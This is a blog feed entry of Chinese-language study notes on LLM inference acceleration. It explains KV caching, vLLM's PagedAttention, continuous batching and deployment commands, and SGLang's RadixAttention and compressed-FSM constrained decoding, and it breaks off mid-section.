<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>whyulooksad&apos;s Blog</title><description>Security Research &amp; CTF</description><link>https://whyulooksad.github.io/</link><language>zh_CN</language><item><title>vLLM SGLang学习笔记</title><link>https://whyulooksad.github.io/posts/vllm-sglang%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://whyulooksad.github.io/posts/vllm-sglang%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><description>大模型推理加速真的是做agent很容易被忽视的一部分，但又非常重要</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;大模型推理加速真的是做agent很容易被忽视的一部分，但又非常重要。&lt;/p&gt;
&lt;h1&gt;大模型推理框架&lt;/h1&gt;
&lt;h2&gt;基础概念&lt;/h2&gt;
&lt;h3&gt;大模型推理过程&lt;/h3&gt;
&lt;p&gt;自回归解码：&lt;/p&gt;
&lt;p&gt;模型输入任意长度 token 序列 ([t_0,t_1,...,t_{n-1}])，经过 Transformer 因果多头注意力前向传播后：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;输出隐藏向量序列 (H = [h_0,h_1,...,h_{n-1}])，长度和输入严格相等；&lt;/li&gt;
&lt;li&gt;h_i 的信息边界：只能看见 t_0 至 t_i 所有 token，看不见 (t_{i+1}) 及之后；&lt;/li&gt;
&lt;li&gt;每一个 h_i 单独过输出投影矩阵，生成一行 logits；&lt;/li&gt;
&lt;li&gt;logits [i] 的数学含义：&lt;strong&gt;仅基于 t_0 ~ t_i 这段上下文，预测下一个 token 的概率分布&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;eg: 输入 &lt;code&gt;[今天,天气,很好]&lt;/code&gt;（n=3）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;h_0 只见过「今天」→ logits [0] = 只有 “今天” 时，下一词的预测分布&lt;/li&gt;
&lt;li&gt;h_1 见过「今天、天气」→ logits [1] = 两词上下文，下一词的预测分布&lt;/li&gt;
&lt;li&gt;h_2 见过完整三词 → logits [2] = 完整上下文，下一词的预测分布&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当时的一个疑问：为啥明明确定了第二个词是天气，还要预测 “今天” 后面该接什么词？&lt;/p&gt;
&lt;p&gt;模型算出 logits [0] 和 logits [1] 只是 Transformer 并行前向的附带产物，做续写生成&lt;strong&gt;完全不会使用前两行 logits&lt;/strong&gt;，只取用最后一行 logits [-1] 做新词采样。不是模型要 “预测已知词”，只是一次性并行输入全序列时，架构强制产出全部位置的输出，真正使用时多余行会直接丢弃。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推理完整分为两大阶段：Prefill + Decode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Prefill 预填充阶段（处理用户原始 prompt）：&lt;/p&gt;
&lt;p&gt;场景：用户提问完整输入，还没有生成任何输出 token。&lt;/p&gt;
&lt;p&gt;执行步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将用户 prompt 全部编码为一整串 token：(prompt = [t_0,t_1,...,t_{L-1}])，长度 L；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一次性把整条长序列送入模型做并行前向传播；多头注意力同时计算全部 L 个 token 的隐藏向量&lt;/p&gt;
&lt;p&gt;(h_0 ~ h_{L-1})；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;得到完整 logits 矩阵 &lt;code&gt;shape=[L, vocab]&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;只取最后一行 &lt;code&gt;logits[-1]&lt;/code&gt;，通过贪心 / 采样选出&lt;strong&gt;第一个要生成的新词 (y_1)&lt;/strong&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把新词 (y_1) 拼接到原始 prompt 末尾，得到新序列：(seq_1 = [t_0,...,t_{L-1}, y_1])；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入 Decode 循环。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一次性并行计算整条上下文，计算复杂度 (O(L^2))；&lt;/li&gt;
&lt;li&gt;只执行 1 次，每条请求只会跑一次 Prefill；&lt;/li&gt;
&lt;li&gt;大量冗余计算产出前面无用的 logits 行，但这是并行输入不可避免的结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Decode 增量解码循环（逐一生成剩余输出）：&lt;/p&gt;
&lt;p&gt;场景：Prefill 产出第一个新词后，循环生成后续所有 token 直到 EOS 结束符。&lt;/p&gt;
&lt;p&gt;无KV缓存版的实现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# seq 初始值：Prefill后拼接了第一个新词的完整长序列
while True:
    # 1. 把当前完整长序列全部重新送入模型
    logits, _ = model(seq)
    # 2. 依旧只取最后一行logits，预测下一个新词
    next_token = torch.argmax(logits[-1, :], dim=0, keepdim=True)
    # 3. 新词追加到序列末尾
    seq = torch.cat([seq, next_token], dim=-1)
    # 4. 命中结束符则终止循环
    if next_token == token_eos:
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每一轮循环，&lt;strong&gt;完整历史序列全部重新参与前向计算&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;每一轮模型都会输出和当前序列等长的 logits 矩阵，但永远只使用最后一行；&lt;/li&gt;
&lt;li&gt;每一轮计算复杂度随序列变长持续升高：第 k 轮复杂度 (O((L+k)^2))；&lt;/li&gt;
&lt;li&gt;循环的终止条件：预测出 EOS 结束 token，或达到全局最大长度&lt;code&gt;max_model_len&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;大模型服务需求&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;易用性：不仅能快速适配市面上主流的开源大模型，还能让用户无缝接入现有的智能化应用或业务系统流程中。&lt;/li&gt;
&lt;li&gt;多用户支持：与只服务单个用户或有限群体的部署方式不同，大模型在线服务必须能够同时支持多个用户。&lt;/li&gt;
&lt;li&gt;高吞吐量和低延迟：大模型服务必须能够有效地处理大量请求并快速返回响应。高吞吐量确保模型可以同时处理多个请求而不出现瓶颈，而低延迟对于维持高质量的用户体验至关重要，尤其在需要及时反馈的实时应用流程中，比如 AI 实时对话。而这两点在通常情况下属于鱼和熊掌不可兼得的关系，需要进行设计平衡。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;vLLM&lt;/h2&gt;
&lt;p&gt;vLLM是一个开源的大模型推理加速框架，通过PagedAttention高效地管理attention中缓存的张量，实现了比HuggingFace Transformers高12-24倍的吞吐量。&lt;/p&gt;
&lt;h3&gt;PagedAttention&lt;/h3&gt;
&lt;p&gt;PagedAttention 是 vLLM 的核心技术，它解决了 LLM 服务中内存的瓶颈问题。传统的注意力算法在自回归解码过程中，需要将所有输入 Token 的注意力键和值张量存储在 GPU 内存中，以生成下一个 Token。这些缓存的键和值张量通常被称为 KV 缓存。&lt;/p&gt;
&lt;h4&gt;KV缓存&lt;/h4&gt;
&lt;p&gt;KV Cache，该技术可以在不影响任何计算精度的前提下，通过&lt;strong&gt;空间换时间&lt;/strong&gt;思想，提高推理性能，目前，各大推理框架都已实现并将其进行了封装且默认开启。前面生成式模型的推理过程中提到：每一轮循环，完整历史序列全部重新参与前向计算，大量算力被重复消耗。&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;[今天,天气,很好]&lt;/code&gt; 为例，生成「适、合、出、门」：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Prefill：一次性输入 3 个 token，算出 3 组 K、V；&lt;/li&gt;
&lt;li&gt;Decode 第 1 轮：输入完整 4 个 token &lt;code&gt;[今天,天气,很好,适]&lt;/code&gt;，&lt;strong&gt;重新计算全部 4 个 token 的 K、V&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;Decode 第 2 轮：输入完整 5 个 token，&lt;strong&gt;重新计算全部 5 个 token 的 K、V&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;Decode 第 3 轮：输入完整 6 个 token，&lt;strong&gt;重新计算全部 6 个 token 的 K、V&lt;/strong&gt;；&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;浪费根源：&lt;code&gt;今天、天气、很好&lt;/code&gt; 这 3 个 token 的 K、V 向量，从第一次算出后&lt;strong&gt;永远不会改变&lt;/strong&gt;，但每一轮 Decode 循环都要重复投影、重复计算多头 K/V。&lt;/p&gt;
&lt;p&gt;KV 缓存的核心目标：&lt;strong&gt;把固定不变的历史 token 的 K、V 存到显存，Decode 阶段不再重复计算它们&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Prefill 阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;输入完整 prompt &lt;code&gt;[今天,天气,很好]&lt;/code&gt;，并行计算全部 3 个 token 的多头 Q、K、V；&lt;/li&gt;
&lt;li&gt;计算完注意力后，不丢弃这 3 组 K、V，把每一层、每一头的 K、V 全部存入 GPU 显存，形成初始 KV 缓存；&lt;/li&gt;
&lt;li&gt;只用最后一位 hidden 算 logits，采样出第一个新词&lt;code&gt;适&lt;/code&gt;；&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时缓存里保存：&lt;code&gt;K_hist, V_hist&lt;/code&gt; → 对应「今天、天气、很好」3 个 token 的原生 K/V 向量。&lt;/p&gt;
&lt;p&gt;Decode 阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;仅计算新词自身的 Q、K、V&lt;/p&gt;
&lt;p&gt;本轮新词：&lt;code&gt;适&lt;/code&gt;，只输入单 token &lt;code&gt;[适]&lt;/code&gt;。仅计算这 1 个 token 多头对应的 &lt;code&gt;Q_new, K_new, V_new&lt;/code&gt;，不再重算前面 3 个旧 token。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拼接缓存 KV + 新词 KV（无融合，仅向量合并）&lt;/p&gt;
&lt;p&gt;读取显存里缓存的历史 KV，沿序列长度维度拼接：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;$$
K_{full} = concat(K_{hist}, K_{new})
$$&lt;/p&gt;
&lt;p&gt;$$
V_{full} = concat(V_{hist}, V_{new})
$$&lt;/p&gt;
&lt;p&gt;​	拼接后 K/V 包含 4 个 token：今天、天气、很好、适。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;只用新词的 Q 做注意力匹配加权&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;​	只有 &lt;code&gt;Q_new&lt;/code&gt; 参与计算：Q_new 和 K_full 全部 Key 做点积打分，得到新词和所有历史 token 的关联权重；然后权重乘全部 V_full 向量求和，得到新词的注意力输出；&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;更新 KV 缓存，存入新词的原生 K_new、V_new&lt;/p&gt;
&lt;p&gt;将拼接后的 &lt;code&gt;K_full、V_full&lt;/code&gt; 覆盖旧缓存，下一轮直接读取。缓存存的是第二步&lt;strong&gt;每个 token 原始投影出来的 K、V&lt;/strong&gt;，不是第三步注意力加权后的中间结果。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;下一轮循环，历史缓存已经包含 4 个 token，只需要输入新词&lt;code&gt;合&lt;/code&gt;，重复上面流程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Prefill：一次性算出 prompt 所有 token 的 K/V，存入显存初始化缓存。&lt;/li&gt;
&lt;li&gt;Decode：每次只算 1 个新词的 QKV，复用缓存里全部历史 KV，避免重复计算旧 token；每轮生成新词后，把新词原生 K/V 追加进缓存，供下一轮复用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是 KV Cache 的使用受限于缓存大小。vLLM的作者发现大模型推理的性能瓶颈主要来自于内存： 1. 自回归过程中缓存的K和V张量非常大，在LLaMA-13B中，单个序列输入进来需要占用1.7GB内存  2. 内存占用是动态的，取决于输入序列的长度。由于碎片化和过度预留，现有的系统浪费了60%-80%的内存。所以，就有了PagedAttention。PagedAttention 灵感来自于&lt;strong&gt;操作系统中虚拟内存和分页&lt;/strong&gt;的经典思想，它可以允许在非连续空间里存储连续的 KV 张量。具体来说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把&lt;strong&gt;整块连续 KV 缓存&lt;/strong&gt;拆成&lt;strong&gt;固定大小的独立 Block（页）&lt;/strong&gt;，通常一页存 16/32 个 token 的 K/V 向量；&lt;/li&gt;
&lt;li&gt;每个固定长度的块可以看成虚拟内存中的页，token 可以看成字节，序列可以看成进程。那么 物理上：Block 分散在 GPU 显存各处，不需要连续；逻辑上：每个请求靠一张 &lt;strong&gt;Block Table（页表）&lt;/strong&gt; 记录自己用到的所有物理块，对外看起来 KV 还是完整连续序列；全局统一页池：所有空闲 Block 放进公共池子，所有请求按需申领、用完归还，碎片彻底消失。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prefill 阶段：&lt;/p&gt;
&lt;p&gt;输入 prompt 长度 N=3（今天、天气、很好），块大小 16：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;一次性并行计算全部 3 个 token 的 K/V；&lt;/li&gt;
&lt;li&gt;从全局页池申领&lt;strong&gt;1 个空闲物理 Block&lt;/strong&gt;，把 3 组 KV 写入这个块；&lt;/li&gt;
&lt;li&gt;在当前请求的 Block Table 里新增一条映射：逻辑块 0 → 刚分配的物理块地址；&lt;/li&gt;
&lt;li&gt;只取序列末尾 logits 生成第一个新词，进入 Decode 循环。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Decode 循环阶（逐词生成，动态扩容 KV）：&lt;/p&gt;
&lt;p&gt;每轮只输入 1 个新词，以新词&lt;code&gt;适&lt;/code&gt;为例：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;仅计算新词&lt;code&gt;适&lt;/code&gt;的 Q_new、K_new、V_new；&lt;/li&gt;
&lt;li&gt;查询当前请求页表，找到最后一个逻辑物理块；
&lt;ul&gt;
&lt;li&gt;如果最后一块还剩空位（当前块只存了 3 个 token，能再塞 13 个）：直接把新词 KV 写入当前块，&lt;strong&gt;不新增 Block&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;如果块已满：向全局池申领新物理 Block，更新页表追加映射；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内核根据页表，跳跃读取所有分散的历史 Block K/V，和新词 K 拼接、完成注意力加权；&lt;/li&gt;
&lt;li&gt;循环结束（遇到 EOS）：请求销毁，把它所有 Block 全部归还全局页池，供其他请求复用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;除了更好的内存管理，PagedAttention 还有两个&lt;strong&gt;常用场景&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Prefix Caching 前缀 KV 缓存复用（后面的RadixAttention更适合做这个）&lt;/strong&gt;：引擎会对已计算完成的 KV Block 生成全局哈希索引，当新请求的&lt;strong&gt;开头连续 token 前缀&lt;/strong&gt;与历史请求完全一致时，可直接复用对应的物理 KV Block，无需重复执行 Prefill 计算、重复存储 KV 向量。&lt;/p&gt;
&lt;p&gt;这意味着：多个用户使用完全相同的系统提示词、固定知识库、Few-shot 示例时，所有请求共用同一批物理 KV Block，各自仅维护独立页表做逻辑映射，显存只存储一份 KV 数据，消除大量重复算力开销；多轮对话中，聊天会话每一轮都会拼接完整历史上下文和 system prompt，不变的对话前缀可直接复用 Block，仅对本轮新增的对话片段执行 Prefill，大幅降低长对话首 token 延迟 TTFT。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;低成本序列抢占 / 驱逐：显存不足时，可以直接回收低优先级请求的全部 Block 归还池，快速释放大量显存；传统连续大块很难局部回收。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Continuous Batching&lt;/h3&gt;
&lt;p&gt;这是vLLM在架构调度加速上的一个优化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;传统静态批处理痛点&lt;/strong&gt;：凑一批请求一起跑，必须等最慢那条生成完才能整批释放；短请求跑完也占着 GPU 空位干等，算力严重浪费。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Continuous Batching（连续批）核心逻辑&lt;/strong&gt;：把调度粒度缩到&lt;strong&gt;每生成 1 个 token 的单步迭代&lt;/strong&gt;，每一步都会重新更新批次：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;任意请求生成结束，立刻释放它的 KV 显存空位；&lt;/li&gt;
&lt;li&gt;排队的新请求马上补进空位，不用等整批结束；&lt;/li&gt;
&lt;li&gt;批次里可同时混跑 Prefill（新用户输入）和 Decode（正在生成的对话）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;底层依赖&lt;/strong&gt;：必须搭配 PagedAttention 分页 KV 才能实现动态回收、复用显存块；&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://fastly.jsdelivr.net/gh/whyulooksad/image_bed@main/images/20260708155126029.png&quot; alt=&quot;image-20260708155125645&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;vLLM部署&lt;/h3&gt;
&lt;p&gt;vLLM部署很简单：&lt;/p&gt;
&lt;p&gt;安装vllm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install vllm
pip show vllm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下载一个模型：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install modelscope
modelscope download --model model_name --local_dir local_path
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署OpenAI API服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vllm serve /root/models/Qwen3-8B --api-key abc123 --served-model-name Qwen/Qwen3-8B --max_model_len 4096 --port 7890

# 多卡部署的话（以两卡为例）
CUDA_VISIBLE_DEVICES=0,1 vllm serve local_path \
    --api-key abc123 \                # 设置api-key
    --served-model-name Qwen/Qwen3-8B \  # API服务的模型名称
    --max_model_len 4096 \            # 最大处理长度（输入prompt + 生成内容的 token 总数）
    --tensor-parallel-size 2 \        # 张量并行数量，和使用GPU卡数保持一致
    --port 7890
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;SGLang&lt;/h2&gt;
&lt;h3&gt;RadixAttention&lt;/h3&gt;
&lt;p&gt;RadixAttention 是 SGLang 核心 KV 缓存管理机制，底层依然复用分页 Block 存储 KV 张量，上层用&lt;strong&gt;基数树 (Radix Tree)&lt;/strong&gt; 替代全局哈希表，统一管理所有请求上下文，解决 vLLM PagedAttention 前缀复用门槛高、公共 System 重复计算的痛点。&lt;/p&gt;
&lt;p&gt;尽管 PagedAttention 可以做前缀缓存，但限制还是比较多，一般固定 Block=16/32 token，只有整块 100% 匹配才能复用，只要一块里有 1 个 token 不一样，这块以及后面所有块全部缓存失效。真实场景下固定上下文的长度很难刚好是 16/32 整数倍，必然存在尾部半块（半块是不生成哈希索引的，只有完整的块才能缓存） → 缓存链条中断 → System 后半段 + 用户问题全部重新 Prefill。所以 PagedAttention 做不到**“只算差异化用户问题”**。&lt;/p&gt;
&lt;p&gt;RadixAttention 核心目标：用基数树（压缩前缀树）实现&lt;strong&gt;任意长度公共前缀跨请求自动共享 KV&lt;/strong&gt;，token 级精准复用，完美适配 Agent、批量 RAG、多分支 fork 场景。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心数据结构：基数树 Radix Tree&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;基数树 = 压缩 Trie，所有请求上下文统一挂载在一棵全局树上。&lt;/p&gt;
&lt;p&gt;每个树节点保存 4 样东西：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;tokens&lt;/code&gt;：一段变长 token 序列（不受固定 Block 限制，可以是 500、3000 任意长度）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kv_ptr&lt;/code&gt;：这段 token 对应的一批GPU 显存 KV 缓存物理地址集合；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ref_count&lt;/code&gt; 引用计数：多少活跃请求正在使用这段 KV；&lt;/li&gt;
&lt;li&gt;子节点字典：分叉后的不同后缀分支。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结构示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;根节点
└── 节点A [3000token 固定Agent System] ref_count=100
     ├── 子节点B [用户query：今天天气]
     └── 子节点C [用户query：计算1+1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;100 条请求共用节点 A 的 KV，仅差异化 query 单独新建子节点。&lt;/p&gt;
&lt;p&gt;Prefill 阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;新请求 token 序列送入调度器，先遍历全局 Radix 树做最长公共前缀匹配&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;匹配到 &lt;code&gt;[t0 ~ tk]&lt;/code&gt; 公共段：直接读取树节点绑定的 GPU KV 缓存，跳过这一段所有 Prefill 并行计算&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;剩余未匹配后缀 &lt;code&gt;[tk+1 ~ tn]&lt;/code&gt;：仅对这段增量 token 执行标准 Prefill 并行前向，生成新 KV 向量&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把「复用的前缀 KV + 新计算后缀 KV」拼接成当前请求完整 KV 上下文，参与注意力计算，采样第一个生成 token&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;树节点更新（核心区别 vLLM）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若匹配末端无分叉：将新生成后缀 KV 封装为新子节点挂载到匹配节点下，对应&lt;code&gt;ref_count +=1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若匹配中途存在分叉：自动分裂原有树节点，公共段保留父节点，两条差异化后缀各自新建独立子节点&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当前请求绑定一条&lt;strong&gt;树路径索引&lt;/strong&gt;（不再是独立 Block 页表），记录整条上下文在基数树上的节点链路&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Decode 阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;单新词&lt;code&gt;y_new&lt;/code&gt;进入前向，仅计算新词&lt;code&gt;Q_new&lt;/code&gt;（标准 KV 缓存逻辑不变，不会重算历史 token QKV）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;读取当前请求绑定的 Radix 树整条路径全部历史 KV，和新词 K/V 拼接做注意力加权&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;判断当前树路径最后一个节点是否还有空余存储容量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;有剩余空间：新词 K/V 直接追加写入末端节点，&lt;strong&gt;不新增树节点，仅更新节点内 KV 数据&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;节点存满：新建叶子节点挂载在当前路径末尾，&lt;code&gt;ref_count&lt;/code&gt;维持不变（仅当前请求独占叶子）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;采样下一个新词，循环 Decode 直到 EOS 终止&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;树回收：沿着该请求完整树路径，对每一个节点执行&lt;code&gt;ref_count -= 1&lt;/code&gt;。遍历路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;若节点&lt;code&gt;ref_count == 0&lt;/code&gt;：标记可驱逐，递归回收该整条叶子子树显存（LRU 淘汰时优先清理）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;若节点&lt;code&gt;ref_count &amp;gt; 0&lt;/code&gt;：代表还有其他请求复用，保留节点不销毁（全局 System 前缀永久留存）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所有生成的输出 token 只会追加到当前请求私有叶子分支，不会修改、分裂全局共享的 System 根节点；多 fork 多分支推理时，每条分支仅新增独立叶子，根公共节点全程共享、不重复存储 KV。&lt;/p&gt;
&lt;p&gt;另外值得一提的是，用SGLang搞agent无论是用本地模型还是调云端api，都有一定优化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GPU RadixCache：本地模型，显存存 KV，省 GPU 算力与显存；&lt;/li&gt;
&lt;li&gt;CPU 客户端 RadixCache：调用云端 API，内存存 token，省 OpenAI 计费与网络延迟。（仅缓存 token 文本序列，无法操作云端模型的 GPU KV 缓存，只能减少上传 token 数量，不能跳过云端模型内部 Prefill 计算；）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;vLLM / SGLang 性能边界：RadixAttention 基数树有树查找、锁竞争、额外内存指针开销；PagedAttention 扁平哈希表逻辑极简、CPU 调度开销更低。所以流量有无公共前缀，直接决定两者的适用性。&lt;/p&gt;
&lt;h3&gt;Compressed FSM&lt;/h3&gt;
&lt;p&gt;Compressed FSM（压缩有限状态机）是 SGLang 原生高性能约束解码引擎，专门解决 JSON、正则、工具调用等结构化输出场景。对比 vLLM 外挂 Outlines/Xgrammar 逐 Token 掩码方案，核心创新是&lt;strong&gt;单路径合并 + 跳跃前向解码（Jump-Forward）&lt;/strong&gt;，大幅减少模型前向次数，同时底层锁死非法 Token，保证输出 100% 合规。&lt;/p&gt;
&lt;h4&gt;FSM&lt;/h4&gt;
&lt;p&gt;FSM 是一套&lt;strong&gt;规则状态流转系统&lt;/strong&gt;，这个场景下就是用来严格限制输出只能符合 JSON / 正则。&lt;/p&gt;
&lt;p&gt;组成只有三样：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;状态 State：代表你现在写到哪一步了&lt;/li&gt;
&lt;li&gt;转移边 Edge：写完某个字符 / Token 后，能跳到下一个状态&lt;/li&gt;
&lt;li&gt;合法终止态：走完完整 JSON 才算合规&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;eg：强制输出 &lt;code&gt;{&quot;name&quot;:xxx}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;完整书写顺序：&lt;code&gt;{&lt;/code&gt; → &lt;code&gt;&quot;&lt;/code&gt; → &lt;code&gt;n&lt;/code&gt; → &lt;code&gt;a&lt;/code&gt; → &lt;code&gt;m&lt;/code&gt; → &lt;code&gt;e&lt;/code&gt; → &lt;code&gt;&quot;&lt;/code&gt; → &lt;code&gt;:&lt;/code&gt; → &lt;code&gt;xxx&lt;/code&gt; → &lt;code&gt;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;普通 FSM 会拆成一串连续状态：&lt;/p&gt;
&lt;p&gt;S0（初始） -{→ S1 -&quot;→ S2 -n→ S3 -a→ S4 -m→ S5 -e→ S6 -&quot;→ S7 -:→ S8（分叉点，后面可以写字符串 / 数字）→ S9 -}&lt;/p&gt;
&lt;p&gt;这里有两种 FSM 路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单一路径：当前状态只有唯一一条合法转移，没有别的选择。比如写完&lt;code&gt;{&lt;/code&gt;之后，下一个合法字符只能是双引号，没有第二个选项。&lt;/li&gt;
&lt;li&gt;分叉路径：当前状态有多个可选转移，必须交给模型判断。比如写完&lt;code&gt;&quot;name&quot;:&lt;/code&gt; 后面，可以写字符串、数字、布尔值，多个合法选项，必须调用模型采样。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;传统的FSM 解码（比如 vLLM 用的 Outlines/Xgrammar），每一轮只能生成 1 个 Token，走 1 次状态跳转。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当前状态 S0，只允许输出&lt;code&gt;{&lt;/code&gt; → 跑一次模型，采样&lt;code&gt;{&lt;/code&gt;，跳到 S1&lt;/li&gt;
&lt;li&gt;当前状态 S1，只允许输出&lt;code&gt;&quot;&lt;/code&gt; → 再跑一次模型，采样&lt;code&gt;&quot;&lt;/code&gt;，跳到 S2&lt;/li&gt;
&lt;li&gt;当前状态 S2，只允许输出&lt;code&gt;n&lt;/code&gt; → 第三次跑模型，采样&lt;code&gt;n&lt;/code&gt;，跳到 S3&lt;/li&gt;
&lt;li&gt;…… 一直重复，直到&lt;code&gt;:&lt;/code&gt;, 一共要跑 8 次模型前向才能到分叉点 S8&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这一整段是固定不变的语法，没有任何选择，但模型要&lt;strong&gt;重复计算 8 次，算力全浪费&lt;/strong&gt;。而且每一步都要遍历词表、生成掩码、屏蔽非法 Token，开销叠加。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单路径合并：&lt;strong&gt;SGLang 的压缩逻辑是把&lt;/strong&gt;一长串连续、无任何分叉的单转移状态&lt;/strong&gt;，合并成&lt;strong&gt;一条超大压缩边&lt;/strong&gt;，不再一步一跳。&lt;/p&gt;
&lt;p&gt;原始 9 段单步状态：S0→S1→S2→S3→S4→S5→S6→S7→S8→S9&lt;/p&gt;
